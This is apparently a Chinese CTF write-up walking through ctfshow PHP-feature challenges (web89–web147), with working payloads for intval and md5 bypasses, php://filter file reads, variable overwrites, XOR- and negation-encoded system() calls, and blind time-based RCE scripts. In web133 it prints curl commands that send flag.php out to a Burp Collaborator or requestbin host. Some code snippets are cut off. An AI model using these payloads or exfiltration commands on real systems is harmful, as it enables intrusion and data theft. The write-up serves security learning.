php代码审计前奏之ctfshow之php特性

本系列题目来源:CTFSHOW: https://ctf.show/challenges

想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,

故以 CTF 来练习。

web89~数组绕过preg_match

  • preg_match — 执行匹配正则表达式

返回值:

**preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject直到到达结尾。 如果发生错误preg_match()**返回 。

数组绕过

当匹配数组是返回false绕过。

?num[]=1 

web90~intval函数

  • intval()函数用于获取变量的整数值。
    intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

int intval ( mixed $var [, int $base = 10 ] ) 

参数说明:

  • $var:要转换成 integer 的数量值。

  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,

  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,

  • 将使用 10 进制 (decimal)。

传参一个数既要使其不强等于4476,又要使得intaval函数处理后的结果强等于4476,结合上述函数解释

构造

?num=4476a 

web91~/m之%0a绕过

php代码审计前奏之ctfshow之php特性

题目要求,传参 cmd.

但是第一个正则匹配要求多行匹配php,但是另一个要求有去掉修饰符m要求不匹配php.那么就应该能想到是截断。

第一个匹配多行,第二个只匹配单行,那么我们可以构造php%0ap进行匹配,当多行匹配的时候前后都是p,

还可以这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,第一个if有匹配到第二行的php,而第二个if匹配不到为假。

CVE-2017-15715

https://blog.csdn.net/qq_46091464/article/details/108278486

web92~intval八十六进制科学计数法绕过

同样考点是intval,但这道题不同于web90,而是弱比较,所以说4476a等肯定不行的。

这里用到十六进制0x117c或者八进制010574

https://www.runoob.com/php/php-intval-function.html

也可以科学计数法4476e2,在第一个if会计数比较,在intval函数中会被看做字符串。

web93~intval八进制绕过

过滤了字母,但我们可以使用八进制010574

web94~八进制,小数点绕过

  • strpos查找 “php” 在字符串中第一次出现的位置:

  • strpos() 函数对大小写敏感。

  • 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

比上一关增加条件,strpos函数限制了传参第一位不能为0,如果为0,就die.

但是如果找不到的话又会die.

仔细观察这里时强等于。

我们可以在八进制前加一个空格

?num=  010574 

或者用小数点

?num=4476.0 

或者再加个 +

?num=+4476.0 

web95~空格加八进制绕intval

又增加过滤了.

构造空格+八进制

?num=  010574 

也可以

?num=+010574 ?num=%2b010574 

web96~绝对路径相对路径

可以看到不能直接等于flag.php,

但是我们可以构造路劲让其显示

?u=/var/www/html/flag.php ?u=./flag.php 

web97~md5数组绕过

 

这里是强比较。

弱比较的话可以百度有好多md5加密后是0e开头的,弱比较 0=0

强比较

如果传入md5函数的不是字符串而是数组,那么就会返回null, null=null绕过。

构造

a[]=1&b[]=2 

还有md5强碰撞

https://blog.csdn.net/EC_Carrot/article/details/109525162

https://www.cnblogs.com/kuaile1314/p/11968108.html

web98~三元运算地址引用

Notice: Undefined index: flag in /var/www/html/index.php on line 15  Notice: Undefined index: flag in /var/www/html/index.php on line 16  Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17  

三元符运算,和传址(引用)

$_GET?$_GET=&$_POST:'flag';  //只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址) 

那么看最后要求$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__那么我们就可以直接随意get传参一个,然后post传参HTTP_FLAG=flag即可获得flag.

看看wp:

https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html 考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码  

web99~in_array()漏洞

 

php代码审计前奏之ctfshow之php特性

意为当没有设置第三个函数时,比较是会自动转换数据类型,也就是弱比较。

那么我们传入1.php就相当于若等于1.

构造

/?n=1.php # post content= 

web100~运算符优先级,反射类

  Notice: Undefined index: v1 in /var/www/html/index.php on line 17  Notice: Undefined index: v2 in /var/www/html/index.php on line 18  Notice: Undefined index: v3 in /var/www/html/index.php on line 19 

这里有问题,又学费了。

php =的运算符竟然比 and高。

https://www.jb51.net/article/42425.htm

&& > || > = > and > or

php代码审计前奏之ctfshow之php特性

https://www.php.net/manual/zh/language.operators.precedence.php

所以这时候就很清晰明了了。

只需要传入的 v1值是数字。v3必须有;

构造

# 直接输出$ctfshow;构造出 var_dump($ctfshow); ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;  ?v1=1&v2=var_dump(new ctfshow())/*&v3=*/;  # 因为过滤的字符比较少,所以可以直接执行命令。 ?v1=1&v2=system('ls')/*&v3=*/;  /?v1=1&v2=system('ls')&v3=;    # 会报错但也可出来 

反射类: https://www.php.net/manual/zh/class.reflectionclass.php

?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/;  ?v1=1&v2=echo new ReflectionClass&v3=; 

反射类用法:

"; } } $a=new ReflectionClass('A');   var_dump($a->getConstants());  获取一组常量 输出  array(1) {   ["PI"]=>   float(3.14) }  var_dump($a->getName());    获取类名 输出 string(1) "A"  var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) {   ["flag"]=>   string(15) "flag{123123123}" }  var_dump($a->getMethods()); 获取类中的方法 输出 array(1) {   [0]=>   object(ReflectionMethod)#2 (2) {     ["name"]=>     string(5) "hello"     ["class"]=>     string(1) "A"   } } 

https://blog.csdn.net/miuzzx/article/details/109168454

解出来

flag_is_d3e0a1060x2d8b970x2d4f790x2db73d0x2d542e6338bca7 

有点小坑,仔细看才发现有好多0x2d

flag{d3e0a106-8b97-4f79-b73d-542e6338bca7} 

web101~反射类

  Notice: Undefined index: v1 in /var/www/html/index.php on line 17  Notice: Undefined index: v2 in /var/www/html/index.php on line 18  Notice: Undefined index: v3 in /var/www/html/index.php on line 19 

跟上道题差不多,过滤的严了一些。过滤掉了 和反引号,单引号,括号。

只能用反射类了。

构造

?v1=1&v2=echo new ReflectionClass&v3=; 

同样结果注意flag格式

web102~hex2bin,base64编码后都为数字

  Notice: Undefined index: v1 in /var/www/html/index.php on line 14  Notice: Undefined index: v2 in /var/www/html/index.php on line 15  Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker 

这里要求v2是数字,并且截取第三位后的字符作为call_user_func的第二个参数。

v1作为 call_user_func的第一个参数。

v3作为 file_put_contents的文件名。

call_user_func($v1,$s);返回结果作为file_put_contents的第二参数。

is_numeric 函数是又漏洞的,再 php5 版本下是可以识别十六进制的。也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(的十六进制)也是可以识别为数字的。

但此题是 php7 环境。不可以。

要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入

get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin 

关键就是什么代码base64编码后再转为十六进制为全数字

$a='=`cat *`;'; $b=base64_encode($a);  // PD89YGNhdCAqYDs= $c=bin2hex($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。 输出   5044383959474e6864434171594473 带e的话会被认为是科学计数法,可以通过is_numeric检测。 

同时因为经过substr处理,所以v2前面还要补两位数字。

构造

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php  # post v1=hex2bin 

或者

GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin #访问1.php后查看源代码获得flag # 115044383959474e6864434171594473 16进制转字符 PD89YGNhdCAqYDs base64解码  =`cat *YDs 

web103~hex2bin

  Notice: Undefined index: v1 in /var/www/html/index.php on line 14  Notice: Undefined index: v2 in /var/www/html/index.php on line 15  Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker 

相比上关过滤了php.

用上关payload也可以打通。

web104~sha1弱相等

 
  • sha1 — 计算字符串的 sha1 散列值. 返回 sha1 散列值字符串。

sha1()函数无法处理数组类型,将报错并返回false,

所以构造

?v2[]=1  # post v1[]=1 

这里没有判断两值是否相等,所以也可以传入两个相等的数。

?v2=2  v1=2 

还有几个弱比较相等的字符串

aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m 

web105~$$变量覆盖

 $value){     if($key==='error'){         die("what are you doing?!");     }     $$key=$$value; }foreach($_POST as $key => $value){     if($value==='flag'){         die("what are you doing?!");     }     $$key=$$value; } if(!($_POST['flag']==$flag)){     die($error); } echo "your are good".$flag."n"; die($suces);  ?> 你还想要flag嘛? 

变量覆盖。

代码审计,直接传入

?suces=flag  # post error=suces 

这里把suceserror都覆盖成了 $flag,所以不管die 哪个,都会输出flag.

web106~sha1弱比较

 

数组绕过。

还有

aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m 

web107~MD5弱比较

 

MD5弱类型比较。

  • parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

php代码审计前奏之ctfshow之php特性

  1. 数组绕过
    md5加密数组会返回NULL,$v2[‘flag’] 也是NULL。

?v3[]=1  v1[]=flag=0 
  1. 弱比较绕过

0e开头的md5和原值: QNKCDZO 0e830400451993494058024219903391 240610708 0e462097431906509019562988736854 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 

web108~ereg %00截断漏洞

 error 
  • ereg — 正则表达式匹配

  • ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

0x36d877

所以构造

?c=a%00aaaa778 

当通过strrevintval的时候,为 877

web109~反射类,异常处理

 

payload:

?v1=ReflectionClass&v2=system('ls')  ?v1=Exception&v2=system('ls') 

web110~FilesystemIterator类读取文件

 

考察点:FilesystemIterator类的使用(作用就是获取当前目录文件)

payload:

?v1=FilesystemIterator&v2=getcwd 

http://phpff.com/filesystemiterator

web111~全局变量GLOBALS引用

/', $v1)){             die("error v1");     }     if(preg_match('/~| |`|!|@|#|/$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|//|/|[0-9]|/', $v2)){             die("error v2");     }      if(preg_match('/ctfshow/', $v1)){             getFlag($v1,$v2);     }  }  ?> 

php变量地址引用。可以利用全局变量来进行赋值给ctfshow这个变量

payload:

?v1=ctfshow&v2=GLOBALS 

web112~php伪协议

  • is_file() 函数检查指定的文件名是否是正常的文件。如果文件存在且为正常的文件,则返回 true。

苦苦不知道flag在哪里,原来就在falg.php

payload:

?file=php://filter/resource=flag.php  ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php  ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php  ?file=compress.zlib://flag.php 

web113~/proc/self/root

压缩过滤器绕过

?file=compress.zlib://flag.php 

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.。

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php 

php的一个小 trick. 具体看这里

web114~filter

过滤了compress,上面的非预期也就不能用了。

filter没过滤。

payload :

?file=php://filter/resource=flag.php 

web115~fuzz绕is_numeric,trim

trim函数的绕过+is_numeric绕过

语法 trim(string,charlist)  参数 描述 string         必需。规定要检查的字符串。 charlist     可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:  ""       - NULL "t"       - 制表符 "n"       - 换行 "x0B"     - 垂直制表符 "r"       - 回车 " "        - 空格 

测试代码:

for ($i=0; $i 

输出了%09 %0A %0B %0C %0D + %2B - .

再来看看 trim+is_numeric

for ($i=0; $i 

输出

%0C   %2B   -   .   0   1   2   3   4   5   6   7   8   9 

%2B (+)-.被过滤。所以构造

?num=%0c36 

web123~php变量命名,_SERVER[‘argv’];

 

php变量命名是不允许使用点号的,所以isset($_POST['CTF_SHOW.COM'])就很难搞。

本地暴破一下:

1.php

python脚本:

import requests  url = "http://127.0.0.1/1/1.php"; for i in range(0,125):     i = chr(i)     for j in range(0, 125):         j = chr(j)         param =  "CTF"+i+"SHOW"+j+"COM"         data={             param:1,         }         #print(param)         reponse = requests.post(url=url,data=data)         page_text = reponse.text         if "CTF_SHOW.COM" in page_text:             print(i+'t'+j+'n')             print(page_text) 

php代码审计前奏之ctfshow之php特性

成功爆破出。 [ .

测试一下:

 string(1) "1" } 

接下来看看$SERVER['argv']的作用。

1、cli模式(命令行)下 
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数 

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项 

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

php代码审计前奏之ctfshow之php特性

因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。

php代码审计前奏之ctfshow之php特性

我们传值?$fl0g=flag_give_me;(记得有分号,后边需要eval执行),然后此时 $a[0]="$fl0g=flag_give_me;",我们让 eval("$c".";"); 中的 $c 变为eval($a[0])即可成功使 fl0g 变量成功赋值。

paylaod:

GET: ?$fl0g=flag_give_me;  POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) 

非预期解:

POST:  CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag POST:  CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)   题目出不来,本地测试可以 

这个题本来的的预期解是:

get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 

但是按理说这样也可以的呀:

get: fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[0]) 

php代码审计前奏之ctfshow之php特性

https://blog.csdn.net/miuzzx/article/details/109181768

应该又是环境问题。

web125~argv,parse_str

 

被过滤了其他方法,

payload

get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 

还有:

GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1]) 

web126~argv,assert

payload:

GET:?a=1+fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])  or  GET:?$fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0]) 

web127~fuzz代替_

|.|/|//', $url)){         return true;     }else{         return false;     } }  if(waf($url)){     die("嗯哼?"); }else{     extract($_GET); }   if($ctf_show==='ilove36d'){     echo $flag; } 

fuzz:

1.php

python:

import requests import urllib.parse  url = "http://127.0.0.1/1/1.php"  for i in range(0,125):     # print(i)     i = chr(i)     p = "ctf"+i+"show"     # p = urllib.parse.quote(p)     param = {         p:"ilove36d"     }     reponse = requests.get(url=url,params=param)     page = (reponse.text)     if "flaggg" in page:         print(i)         print(page)         print("------------------") 

得到

flagggg ------------------ . flagggg ------------------ [ flagggg ------------------ _ flagggg ------------------  Process finished with exit code 0 

这里其他被ban了,只能使用 空格

?ctf show=ilove36d 

web128~gettext拓展,get_defined_vars获取已定义变量

gettext拓展的使用.

https://www.cnblogs.com/lost-1987/articles/3309693.html

https://www.php.net/manual/zh/book.gettext.php

所以 call_user_func('_','phpinfo')返回的就是phpinfo

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 

payload:

?f1=_&f2=get_defined_vars 

web129~stripos包含特定绕过

0){         echo readfile($f);     } } 
  • stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
PHP 版本: 5+

目录穿越:

?f=/ctfshow/../var/www/html/flag.php ?f=./ctfshow/../flag.php 

还可以php伪协议

payload:

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php 

还可以远程文件包含。在自己服务器上写一个命名 ctfshow.txt.

web130~正则

very very very(省略25万个very)ctfshow

直接 post ,正则匹配到 ctfshow与匹配规则不符 ,同时 stripos在第0 匹配, 而0=== FALSE为假绕过。

f=ctfshow 

web131(修复130)~正则最大回溯

very very very(省略25万个very)ctfshow

利用正则最大回溯次数绕过

https://www.laruence.com/2010/06/08/1579.html

在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

写个py脚本:

import requests  url = "http://b6f3a9c0-3da1-44b5-8cee-fedece8ae121.chall.ctf.show/"  param = "very"*250000+"36Dctfshow" data = {     'f':param, } print(param) reponse = requests.post(url=url,data=data) print(reponse.text) 

得到Falg

web132~运算符 && ||

打开是一个网站。

直接扫目录,扫到 /admin/

if绕过

if(false && false || ture) 

payload

/admin/index.php?code=admin&username=admin&password= 

web133~无回显rce,curl

分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能
但是,如果我们传递的参数就是$F本身,会不会发生变量覆盖?
那我们来一个简单的测试,

get传参   F=`$F `;sleep 3 经过substr($F,0,6)截取后 得到  `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); 也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3"); 前面的命令我们不需要管,但是后面的命令我们可以自由控制。 这样就在服务器上成功执行了 sleep 3 所以 最后就是一道无回显的RCE题目了 

然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

payload:

#其中-F 为带文件的形式发送post请求 #xx是上传文件的name值,flag.php就是上传的文件  ?F=`$F `;curl -X POST -F [email protected]  http://xxx 

php代码审计前奏之ctfshow之php特性

php代码审计前奏之ctfshow之php特性

执行payload

?F=`$F `;curl -X POST -F [email protected]  http://rrm5fjnnoqnekm19gqkc8q8dl4rvfk.burpcollaborator.net 

之后就会在burp上收到 flag.php的内容,

其他方法:

利用网站 http://requestbin.net

?F=`$F `;curl  http://requestbin.net/r/1g8bsc01?p=`cat flag.php|grep flag` 

php代码审计前奏之ctfshow之php特性

参照:

https://blog.csdn.net/qq_46091464/article/details/109095382

web134~POST数组的覆盖

  • parse_str() 函数把查询字符串解析到变量中。

  • extract() 函数从数组中将变量导入到当前的符号表。

php代码审计前奏之ctfshow之php特性

POST数组的覆盖

可以看到以GET 传参_POST[a]相当于post传参 a 效果。

构造paylaod

?_POST[key1]=36d&_POST[key2]=36d 

web135~rce nl,cp,mv

在133的基础上增加了curl和其他一些字符的过滤,

可以写文件。

?F=`$F `;nl flag*>1.txt 

也可以

?F=`$F`; cp flag.php 2.txt ?F=`$F`; mv flag.php 3.txt 

http://dnslog.cn/

申请一个域名。但是这种方法不行,可能域名前缀不行吧。

payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn 

web136~linux tee命令

| 

把重定向符、mv、cp禁用了。

linux中tee命令·

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件

tee [OPTION]... [FILE]... 

构造payload:

?c=ls /|tee 1 ?c=awk '/f/' /f149_15_h3r3|tee 1 

web137~class:fun()

  • call_user_func — 把第一个参数作为回调函数调用

  • 第一个参数 callback是被调用的回调函数,其余参数是回调函数的参数。

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

直接调用getFlag函数

ctfshow=ctfshow::getFlag 

web138~call_user_func数组回调

-1){     die("private function"); }  call_user_func($_POST['ctfshow']); 

这下子把 :冒号给禁用了。

用call_user_func()来调用一个类里面的方法

call_user_func(array($classname, 'say_hello')); 这时候会调用 classname中的 say_hello方法 

payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag 

web139

| 

试了,没有写权限没所以不能写入文件了。

也没有回显。

师傅们的脚本。

猜测文件名:

import requests import time import string  str = string.ascii_letters + string.digits result = "" for i in range(1, 5):     key = 0     for j in range(1, 15):         if key == 1:             break         for n in str:             payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)             # print(payload)             url = "http://5c76069b-da3c-40a2-ac52-718a1c84fe56.chall.ctf.show/?c=" + payload             try:                 requests.get(url, timeout=(2.5, 2.5))             except:                 result = result + n                 print(result)                 break             if n == '9':                 key = 1     result += " " 

得到flag所在文件 f149_15_h3r3,接着盲注文件内容

import requests import time import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45):  print(j)  if key==1:   break  for n in str:   payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)   #print(payload)   url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload   try:    requests.get(url,timeout=(2.5,2.5))   except:       result=result+n       print(result)       break 

web140~弱比较函数调用

intval($code) == 'ctfshow'弱比较,所以只需要将 $code 等于字母或者 0 即可。

f1=md5&f2=phpinfo f1=md5&f2=md5 f1=sha1&f2=getcwd 

we141~取反-执行php命令

/^W+$/作用是匹配非数字字母下划线的字符.

php中 1-phpinfo();可以执行phpinfo()命令的。

取反构造

payload:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-   # system(ls)  ?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-    # system('cat flag.php') 

取反脚本

web142

直接

?v1=0  ?v1=0x0 

web143~异或 *

过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令。

异或脚本:

=32&ord($c)
# -*- coding: utf-8 -*-  import requests import urllib from sys import * import os def action(arg):    s1=""    s2=""    for i in arg:        f=open("xor_rce.txt","r")        while True:            t=f.readline()            if t=="":                break            if t[0]==i:                #print(i)                s1+=t[2:5]                s2+=t[6:9]                break        f.close()    output="(""+s1+""^""+s2+"")"    return(output)  while True:    param=action(input("n[+] your function:") )+action(input("[+] your command:"))+";"    print(param) 

payload:

?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%00"^"%60%60%60%20%60%2a")* 

web144~异或

  • W 匹配非字母、数字、下划线。等价于 ‘[^A-Za-z0-9_]’。

直接构造 paylaod:

# system(ls) ?v1=1&v3=1&v2=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%0c%13"^"%60%60")  # system('cat f*') ?v1=1&v3=1&v2=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%00"^"%60%60%60%20%60%2a") 

web145~三元运算符

|*|/|^|#|"/i', $v3)){                 die('get out hacker!');         }         else{             $code =  eval("return $v1$v3$v2;");             echo "$v1$v3$v2 = ".$code;         }     } } 

- * ^ "

取反绕过。

取反脚本:

构造system(ls)

(~%8C%86%8C%8B%9A%92)(~%93%8C) 

但是不知道如何使它执行,那么fuzz一波。

php代码审计前奏之ctfshow之php特性

结果 ? :

也就是 return 1?system(ls):1

payload:

?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5): 

web146~等号,位运算

|*|/|^|#|"/i', $v3)){                 die('get out hacker!');         }         else{             $code =  eval("return $v1$v3$v2;");             echo "$v1$v3$v2 = ".$code;         }     } } 

接着把 三目运算过滤了。

利用等号和位运算符绕过。

payload:

?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)||  ?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)| 

web147

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论